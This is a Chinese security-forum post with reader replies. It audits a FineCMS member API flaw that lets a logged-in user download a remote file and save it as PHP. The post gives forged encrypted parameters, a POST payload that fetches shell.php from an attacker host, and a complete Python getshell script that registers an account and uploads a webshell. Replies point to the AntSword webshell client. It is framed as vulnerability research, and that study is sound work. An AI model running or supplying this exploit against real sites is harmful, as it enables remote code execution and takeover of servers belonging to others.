用户
搜索
  • TA的每日心情
    慵懒
    13 小时前
  • 签到天数: 85 天

    连续签到: 3 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    24

    主题

    84

    帖子

    660

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-1 09:20:34 106771
    本帖最后由 F0rmat 于 2018-3-3 17:16 编辑

    前言

    跟着上次的finecms,在漏洞时代又找了一个漏洞来审计。但是他改了函数里面的传参,我也弄了一阵子才搞明白这个传参原来需要加密过的参数,还有就是这个远程下载再上传,有个小问题,那篇文章没有说明,等下再系统说下。

    漏洞详情

    代码位置和代码

    • 位置
      \finecms\dayrui\controllers\member\Api.php
    • 代码

      public function down_file() {
      
      $p = array();
      $url = explode('&', $this->input->post('url'));
      //经过& 分割
      
      foreach ($url as $t) {
          $item = explode('=', $t);
          $p[$item[0]] = $item[1];
      }
      //经过 = 分割
      !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
      //对$p['code'] 进行解码
      list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));
      //得到尺寸和后缀
      $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
      !is_dir($path) && dr_mkdirs($path);
      
      $furl = $this->input->post('file');
      $file = dr_catcher_data($furl);
      //dr_catcher_data 是读取远程文件
      !$file && exit(dr_json(0, '获取远程文件失败'));
      
      $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
      !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
      
      $filename = substr(md5(time()), 0, 7).rand(100, 999);
      if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
          $info = array(
              'file_ext' => '.'.$fileext,
              'full_path' => $path.$filename.'.'.$fileext,
              'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
              'client_name' => '',
          );

      执行过程

      Payload代码

      http://finecmstest.com/index.php?s=member&c=api&m=down_file

    POST:url=code=d628NBt44h5NLBYyi2QIPBI37HOHqQJz/JvPubFBaG5c&file=http://192.168.232.128/shell.php

    执行结果

    finecms_down1

    finecms_down1

    分析过程

    老样子,挑重要的代码来读,跟着我的思路能读懂这段函数的流程。

    • $p = array();创建一个数组,为下面的遍历赋值所用。
      $url = explode('&', $this->input->post('url'));接收url参数的值,explode这个函数就不用多说了,用于把字符串转换成数组,以&分割为一个数组。
      foreach ($url as $t) {$item = explode('=', $t);$p[$item[0]] = $item[1];} 这一段遍历就是把上面的数组赋值给$p变量。
      !$this->uid && exit(dr_json(0,fc_lang('抱歉!游客不允许上传附件')));判断是否登录
    $p = array();
            $url = explode('&', $this->input->post('url'));
            foreach ($url as $t) {
                $item = explode('=', $t);
                $p[$item[0]] = $item[1];
            }
            !$this->uid && exit(dr_json(0, fc_lang('抱歉!游客不允许上传附件')));
    • 这段用了list函数,就是把explode的三个值赋值给$size, $ext, $path, 当中用了dr_authcode这个函数,跟进了一下这个函数在\finecms\dayrui\helpers\function_helper.php里面,是一段discuz加密/解密的函数,这个函数主要看的是$key = md5($key ? $key : SYS_KEY);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string);这两句,SYS_KEY这个值在上一篇文章看过了,值是固定的,所以不用理会。下来一句就是如果$operation == 'DECODE'那就解密,如果不等于DECODE那就加密。

      list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));

      dr_authcode函数代码:

      function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
      
      if (!$string) {
          return '';
      }
      
      $ckey_length = 4;
      
      $key = md5($key ? $key : SYS_KEY);
      $keya = md5(substr($key, 0, 16));
      $keyb = md5(substr($key, 16, 16));
      $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
      
      $cryptkey = $keya . md5($keya . $keyc);
      $key_length = strlen($cryptkey);
      
      $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
      $string_length = strlen($string);
      
      $result = '';
      $box = range(0, 255);
      
      $rndkey = array();
      for ($i = 0; $i <= 255; $i++) {
          $rndkey[$i] = ord($cryptkey[$i % $key_length]);
      }
      
      for ($j = $i = 0; $i < 256; $i++) {
          $j = ($j + $box[$i] + $rndkey[$i]) % 256;
          $tmp = $box[$i];
          $box[$i] = $box[$j];
          $box[$j] = $tmp;
      }
      
      for ($a = $j = $i = 0; $i < $string_length; $i++) {
          $a = ($a + 1) % 256;
          $j = ($j + $box[$a]) % 256;
          $tmp = $box[$a];
          $box[$a] = $box[$j];
          $box[$j] = $tmp;
          $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
      }
      
      if ($operation == 'DECODE') {
          if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
              return substr($result, 26);
          } else {
              return '';
          }
      } else {
          return $keyc . str_replace('=', '', base64_encode($result));
      }
      }
    • 这段代码就是生成文件的路径,dr_mkdirs在上一篇的已经解释过了,生成的目录是日期。
      $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
          !is_dir($path) && dr_mkdirs($path);
    • 继续下面这段,$furl是获取file参数的值,dr_catcher_data这个函数可以跟进看下,只要是获取远程文件的内容的。如果远程文件没有内容就获取失败。
          $furl = $this->input->post('file');
          $file = dr_catcher_data($furl);
          !$file && exit(dr_json(0, '获取远程文件失败'));
    • 这段是判断扩展名的,在这里也说下这几个函数的作用吧,strrchr是把$ful的内容中.后面的值和.一起提取出来;substr返回字符串中1-10的字符串,也就是说刚才提取出来的扩展名.php从1开始只要php;trim去掉两边的空格;strtolower把字符串全部变成小写。
      再下来这句就是判断上传的文件的扩展名$fileext是否在$ext里面。
    $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
    !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
    • 这段的内容就是写文件了,文件名是随机的。
      $filename = substr(md5(time()), 0, 7).rand(100, 999);
          if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
              $info = array(
                  'file_ext' => '.'.$fileext,
                  'full_path' => $path.$filename.'.'.$fileext,
                  'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
                  'client_name' => '',
              );

      构造扩展名参数

      这块内容可以另外当作一节来讲,重新来理顺刚才讲的代码流程就能知道如何来构造扩展名的参数。
      我们逆过来看:
      1.判断$ext里面的扩展名
      2.$ext变量获取在$p['code']数组里面
      3.$p['code']要经过dr_authcode函数的解密
      4.$p['code']又是从$url数组里面提取出来
      所以这里我们可以看到$ext是可控的,而我们要传入加密的$p['code'],我们用dr_authcode加密一遍就行了,在程序里面加入这句代码echo dr_authcode("|php","a");就可以得出加密的值,这个a可以写任意值,只要不写DECODE就行了。|php加密这个就是为了list这个函数的作用。

            $url = explode('&', $this->input->post('url'));
            foreach ($url as $t) {
                $item = explode('=', $t);
                $p[$item[0]] = $item[1];
            }
            !$this->uid && exit(dr_json(0, fc_lang('抱歉!游客不允许上传附件')));
            //echo dr_authcode("|php","a");
            list($size, $ext, $path) = explode('|', dr_authcode($p['code'], 'DECODE'));
            $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
            !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));

    finecms_down3

    构造出url的参数为:url=code=ad3eXTkH4Wt084pW46p7DBSt1KX0FwthAs4o9oBH8WVi

    构造file参数

    构造代码:file=http://192.168.232.128/shell.php

    事情没有想得那么简单,这个函数的作用是下载然后再上传,它只是获取显示出来的html的内容然后把这些内容下载下来。所以我们直接在远程服务器写php文件是不可行的。
    远程的服务器有一个要求,就是不解析PHP文件,不解析,不就把内容显示出来了么。
    最简单的方法就是用装一个apache写一个php文件就行了。
    =====================================================================================2018年3月3日
    更新一种方法,之前没想到,今天审计一个cms的时候遇到了,使用方法,直接在shell文件里面加上show_source(FILE);
    finecms_down4

    用Python写Getshell脚本

    写这个脚本也是要注册登录获取登录后的状态再getshell
    finecms_down5
    finecms_down_file.py

    '''
    author:F0rmat
    '''
    import sys
    import random
    import requests
    import json
    import time
    
    def exploit(target,rtarget):
        username = random.randint(0, 999999)
        seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
        email = []
        for i in range(8):
            email.append(random.choice(seed))
        email = ''.join(email)
    
        # step 1 register
        register_url = target + "/index.php?s=member&c=register&m=index"
        register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
                            "data[email]": email + "@" + email + ".com"}
        # step 2 login
        login_url = target + "/index.php?s=member&c=login&m=index"
        login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
    
        url = target+"/index.php?s=member&c=api&m=down_file"
        payload = {"url":"code=ad3eXTkH4Wt084pW46p7DBSt1KX0FwthAs4o9oBH8WVi","file":rtarget}
        # step 3 start hacking"
        s = requests.session()
        s.post(register_url, data=register_payload)
        s.post(login_url, data=login_payload)
        res=s.post(url,data=payload).content
        hjson = json.loads(res)
        if "php" in res:
            print "shell:"+target+"/uploadfile/"+time.strftime("%Y%m")+"/"+hjson['name']
        else:
            print "failure"
    
    if len(sys.argv)<5:
        print 'python down_file_getshell.py -h http://127.0.0.1 -r http://10.0.0.1/shell.php'
    else:
        target = sys.argv[2]
        rtarget = sys.argv[4]
        exploit(target,rtarget)

    结束

    为了赶这篇文章现在已经深夜了,洗洗睡了。

    源码下载地址:https://pan.lanzou.com/i0gd72d

    参考

    http://0day5.com/archives/4405/

    https://github.com/F0r3at/Python-Tools/blob/master/finecms/down_file_getshell.py

    http://php.net/manual/

    本帖被以下淘专辑推荐:

    getpass.cn
    发表于 2018-3-1 10:30:06
    感谢分享。学习!
    使用道具 举报 回复
    发表于 2018-3-1 10:32:04
    厉害得一批
    小白~~~
    使用道具 举报 回复
    发表于 2018-3-1 14:27:36
    楼主的蚁剑能来一份吗
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    4#
    发表于 2018-3-1 15:05:16
    getpass.cn
    使用道具 举报 回复
    少时诵诗书所所所所所所所所所所所
    使用道具 举报 回复
    发表于 2018-3-1 20:11:15
    不错不错
    http://nico.lolimoe.cn/blog/
    使用道具 举报 回复
    发表于 2018-3-2 23:02:36
    F0rmat 发表于 2018-3-1 07:05
    https://github.com/antoor/antSword/releases

    谢老哥
    做自己的自己 和平年代的炮灰,战争年代的爆破鬼才
    使用道具 举报 回复
    发表于 2018-3-5 09:36:45
    拿走了,感谢支持~~~~
    使用道具 举报 回复
    发表于 2018-3-12 16:53:42
    楼主用的最新版火狐浏览器吗
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    10#
    发表于 2018-3-12 17:38:29
    5279314 发表于 2018-3-12 08:53
    楼主用的最新版火狐浏览器吗

    嗯,是的。
    getpass.cn
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册